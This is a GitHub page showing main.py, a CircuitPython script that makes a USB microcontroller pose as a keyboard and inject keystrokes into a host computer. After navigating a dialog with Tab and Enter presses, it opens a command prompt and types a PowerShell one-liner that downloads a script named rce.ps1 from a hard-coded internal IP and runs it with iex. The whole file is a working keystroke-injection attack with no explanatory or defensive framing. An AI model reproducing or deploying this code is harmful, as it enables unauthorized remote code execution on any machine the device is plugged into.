-
Notifications
You must be signed in to change notification settings - Fork 3
/
main.py
61 lines (53 loc) · 1.2 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import time
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
from adafruit_hid.keycode import Keycode
import usb_hid
from adafruit_hid.mouse import Mouse
mouse = Mouse(usb_hid.devices)
keyboard = Keyboard(usb_hid.devices)
layout = KeyboardLayoutUS(keyboard)
def tap(keycode):
keyboard.press(keycode)
time.sleep(.005)
keyboard.release(keycode)
time.sleep(0.05)
def delay(delay):
def func():
time.sleep(delay)
return func
def type(keys):
def func():
if isinstance(keys, str):
layout.write(keys)
else:
for k in keys:
tap(k)
return func
ops = [
delay(10),
type([
Keycode.TAB,
Keycode.TAB,
Keycode.TAB,
Keycode.TAB,
Keycode.TAB,
Keycode.LEFT_ARROW,
Keycode.ENTER,
]),
delay(1),
type([
Keycode.TAB,
Keycode.TAB,
Keycode.TAB,
Keycode.TAB,
Keycode.ENTER,
]),
delay(0.2),
type('cmd\n'),
delay(2),
type('powershell -c "iex (New-Object Net.WebClient).DownloadString(\'http://10.0.100.144/rce.ps1\')"\n')
]
for op in ops:
op()